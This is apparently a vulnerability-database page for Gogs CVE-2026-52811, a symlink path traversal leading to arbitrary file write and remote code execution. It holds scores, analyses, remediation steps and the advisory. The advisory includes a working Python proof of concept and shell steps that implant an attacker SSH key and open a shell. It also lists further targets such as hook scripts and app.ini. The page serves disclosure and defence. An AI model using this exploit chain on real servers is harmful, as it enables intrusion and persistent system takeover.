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Gogs CVE-2026-52811

| EUVDEUVD-2026-39082 CRITICAL
Path Traversal (CWE-22)
2026-06-23 https://github.com/gogs/gogs GHSA-89mr-xqfv-758m
9.0
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with repo-write account
  2. Delivery
    Commit directory symlink (e.g. hijack→~git/.ssh) via git push
  3. Exploit
    Upload file with backslash-crafted multipart filename
  4. Execution
    Commit upload, write follows parent symlink
  5. Persist
    Implant key in ~git/.ssh/authorized_keys
  6. Impact
    SSH in as gogs UID for RCE

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated account with write access to some repository (PR:L) on a Gogs instance running on Linux or macOS (runtime.GOOS != "windows"), version 0.14.0-0.14.2. The attacker must be able to commit a directory symlink, which works because git's default core.symlinks=true on Linux/macOS materializes mode-120000 entries as real symlinks, and must send a hand-crafted multipart upload whose filename contains two backslash bytes on the wire (so Go's quoted-pair parsing yields one \, which pathx.Clean converts to /). Limiting factors: Windows hosts are immune for two independent reasons (filepath.Base treats \ as a separator, and git defaults core.symlinks=false); the exploit cannot be triggered from a normal browser file input (which strips path components) or reliably via curl, so attacker-controlled tooling is needed; and the write can only reach paths the gogs UID can write.

Impact

This is a genuine high-priority issue, not a high-CVSS-but-low-real-risk case. The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N) with VC/VI/VA and SC/SI/SA all High yields 9.0 (Critical), and the technical write-up supports it: network-reachable, low attacker complexity, only low privileges (any repo-write account, which any repo creator holds for their own repo). The AT:P (attack requirement present) honestly captures that the attacker must first commit a directory symlink - but the attacker fully controls that step, so it is a reliable prerequisite rather than a meaningful barrier. A working, tested PoC is published, which materially raises real-world risk. EPSS is not provided and the CVE is not in CISA KEV, so there is no evidence of active exploitation yet; the published exploit code means opportunistic abuse against exposed, internet-reachable Gogs instances is plausible. The main risk-limiting factors are the authenticated write requirement and that Windows hosts are entirely unaffected. Note one nuance to verify: the official patch is the leaf-vs-walk fix (PR #8332), but the advisory also recommends O_NOFOLLOW and rejecting backslash filenames - confirm whether the shipped 0.14.3 fix includes those defense-in-depth layers or only the path walker.

Exploit ScenarioDerived

An attacker who can create a repository on a Linux-hosted Gogs instance (thereby becoming its admin/writer) commits a directory symlink such as hijack -> /home/git/.ssh, then uploads a file whose multipart filename contains a literal backslash (hijack\authorized_keys) so the server resolves the write into ~git/.ssh/authorized_keys. Because the destination is opened without O_NOFOLLOW, the attacker's SSH public key is written through the parent symlink, and they then SSH in as the gogs runtime UID for full remote code execution. A tested Python PoC (raw multipart bytes are required; curl is unreliable due to quoted-pair parsing) is published in the advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.5% exploitation probability (EPSS)

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AnalysisAIv3 – Jun 24, 2026

Authenticated arbitrary file write in Gogs (self-hosted Git service) versions below 0.14.3 on Linux/macOS lets a user with repository write access escape the working tree and overwrite any file the gogs UID can touch, escalating to remote code execution. The flaw stems from UploadRepoFiles validating symlinks only on the leaf path while sibling functions correctly walk every component; combined with a crafted multipart filename containing a literal backslash, the write is redirected through a previously committed directory symlink to targets like ~git/.ssh/authorized_keys or <repo>.git/hooks/post-receive. No CISA KEV listing and no EPSS provided, but a detailed, tested proof-of-concept is published in the vendor advisory, so publicly available exploit code exists.

Earlier versions of this analysis (2)
v2 Jun 24, 2026 - 21:28 cvss changed CVSS 9.0

Authenticated arbitrary file write in Gogs self-hosted Git service (versions < 0.14.3 on Linux/macOS) lets a user with repository write access overwrite files anywhere the gogs runtime UID can reach, leading to remote code execution. The flaw stems from UploadRepoFiles checking only the leaf of the upload target for symlinks while its sibling functions walk every path component; an attacker plants a committed directory symlink, then uploads a file whose multipart filename carries a literal backslash that gets normalized to a path separator, redirecting the write through the symlink to targets like ~git/.ssh/authorized_keys or a repo hook script. A detailed, tested proof-of-concept is public (publicly available exploit code exists); no CISA KEV listing or active exploitation is reported, and no EPSS score was provided.

v1 Jun 23, 2026 - 17:34

Authenticated remote code execution in Gogs (self-hosted Git service) on Linux and macOS allows any user with repository write access to write arbitrary files anywhere the Gogs process UID can reach, by chaining a committed directory symlink with a crafted multipart upload filename. The UploadRepoFiles function performs only a leaf-level symlink check - unlike its sibling functions - so a backslash-encoded multi-segment filename passes validation, follows a parent symlink planted via a prior git push, and writes attacker-controlled bytes to targets such as ~/.ssh/authorized_keys or bare-repo hook scripts. A fully working proof-of-concept Python exploit exists (tested against Gogs v0.14.2 and HEAD commit d7571322 on Ubuntu 24.04), and the issue is fixed in Gogs v0.14.3. No public exploit identified at time of analysis as confirmed actively exploited (CISA KEV), but the PoC lowers the exploitation bar substantially.

RemediationAI

Vendor-released patch: upgrade to Gogs 0.14.3, which replaces the leaf-only osx.IsSymlink check with the full-path hasSymlinkInPath walker (PR https://github.com/gogs/gogs/pull/8332, commit https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31; advisory GHSA-89mr-xqfv-758m). If you cannot upgrade immediately, reduce exposure by restricting who holds repository write access (the only required privilege) and by limiting account creation on internet-facing instances, since exploitation needs an authenticated writer. As code-level compensating controls before upgrading, you can backport the advisory's hardening: switch iox.CopyFile to open with O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW to close the lstat-to-write TOCTOU at the syscall layer, and reject any upload name containing / or \ in database.NewUpload after pathx.Clean (browsers strip path components, so legitimate uploads are unaffected - only attacker tooling sends multi-segment names). Operationally, audit ~git/.ssh/authorized_keys, repo .git/hooks/*, app.ini, and the sqlite DB for unexpected modifications, since a successful write may already have planted a persistent foothold that surviving an upgrade.

Affected VersionsENISA

gogs < 0.14.3

Affected Packages

go gogs.io/gogs fix: 0.14.3
euvd gogs fix: 0.14.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gogs is a lightweight, self-hosted Git service written in Go (CPE pkg:go/gogs.io/gogs). The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal), realized here as a symlink-following arbitrary write. The vulnerable code at internal/database/repo_editor.go:601-612 calls osx.IsSymlink(targetPath), which only lstats the final path component, whereas UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath (repo_editor.go:120-131) to lstat every component. The exploit hinges on three Go/OS behaviors on Linux: filepath.Base (used by multipart.FileHeader.Filename) treats only / as a separator so backslashes survive; pathx.Clean then runs strings.ReplaceAll(p, "\\", "/"), turning a backslash into a path separator and yielding a multi-segment upload.Name; and iox.CopyFile opens the destination via os.Create (O_RDWR|O_CREATE|O_TRUNC, no O_NOFOLLOW), so the kernel follows a parent directory symlink. Git's default core.symlinks=true on Linux/macOS materializes a committed mode-120000 entry as a real directory symlink, making the parent component point outside the repository.

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Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY 9.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
vuln.today AI 8.5 HIGH

Network-reachable with only a repo-write account (PR:L), no user interaction; the write escapes the repo to the host filesystem (S:C) enabling RCE, so C/I/A all High.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
CVSS changed
Jun 24, 2026 - 21:22 NVD
9.0 (CRITICAL)
CVE Published
Jun 23, 2026 - 17:36 cve.org
CRITICAL

DescriptionCVE.org

Summary

(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component - UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write - ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.

Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks). Details

The asymmetric check at internal/database/repo_editor.go:601-612:

go
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY
    return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }

vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:

go
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
    return errors.New("cannot update file with symbolic link in path")
}

hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf - fine inside the loop, wrong as a single call.

Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) - Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") - converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) - no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.

Suggested fix

  1. Replace the leaf check at repo_editor.go:606 with hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name)) - the same primitive UpdateRepoFile already uses.
  2. Walk opts.TreePath *before* the os.MkdirAll(dirPath, ...) at line 583 so that pre-existing symlinked components don't let MkdirAll create directories outside the repo.
  3. Switch iox.CopyFile's open to O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
  4. In database.NewUpload, after pathx.Clean, refuse name containing / or \ outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.

PoC

Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).

Reproduction prerequisites

  • gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows").
  • Two attacker accounts on the gogs instance with write to a repo attacker/playground (repo creators are admins of their own repos).
  • git ≥ 2.x with core.symlinks=true (Linux/macOS default).
  • Python 3 stdlib only - curl -F does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.

Why curl alone is unreliable

Bug needs *two* backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.

Shell formWire bytesGo parses toupload.NameTriggers?
-F "...filename=a\b"a\bababno
-F "...filename=a\\b" (double quotes)a\bababno
-F '...filename=a\\b' (single quotes)a\\ba\ba/byes

The Python below removes the ambiguity.

Step 1 - plant the directory symlink

sh
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..

Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.

Step 2 - upload + commit

Save as poc.py:

python
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

ctx = ssl.create_default_context()
# set to None for plain HTTP / port 3000
def conn():
    if ctx is None:
        return http.client.HTTPConnection(GOGS_HOST, 3000)
    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)

cookies = {}
def update_cookies(resp):
    for hdr in resp.msg.get_all('Set-Cookie') or []:
        for name, morsel in SimpleCookie(hdr).items():
            cookies[name] = morsel.value
def cookie_header():
    return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
    return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
#    Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'
# 23 chars, 2 of them backslashes
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
        'commit_choice': 'direct', 'files': uuid,
    }),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
sh
python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302

Step 3 - confirm and use the foothold

sh
sudo cat /home/git/.ssh/authorized_keys
# operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop

ssh -i ~/.ssh/id_ed25519 git@gogs.example
# attacker's view
# → shell as the gogs runtime UID

Server-side trace

multipart wire bytes:  filename="hijack\\authorized_keys"
mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)

UploadRepoFiles:
  targetPath = <local-r>/<repoID>/hijack/authorized_keys
             = /home/git/.ssh/authorized_keys               (parent symlink resolved)
  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)

Other reachable targets (same primitive)

Symlink targetEffect on next event
/home/git/.sshSSH key implant → shell as gogs UID
<RepoRoot>/<owner>/<repo>.git/hooksHook overwrite → arbitrary code on next push
<RepoRoot>/<owner>/<repo>.gitcore.fsmonitor=<cmd> in config → exec on next git op
~git/custom/confModify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart
Path of the sqlite DB fileDoS or admin-row replant

Independent confirmation against the source

sh
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
     <(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")

Impact

  • Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
  • Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with GOGS_AUTH_USER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
  • Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
  • Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).

Executive ViewAI

Why It Matters

Gogs versions below 0.14.3 contain a critical privilege escalation vulnerability allowing any user with repository write access to execute arbitrary code on the hosting server. Organizations using self-hosted Gogs are at immediate risk of full system compromise, including unauthorized access to source code, credentials, and other sensitive assets. This threat affects all users granted repository contribution rights.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 63% exploitable
Prevalence
Medium
popular self-hosted Git service, common in dev shops but not ubiquitous
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +45
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

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Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

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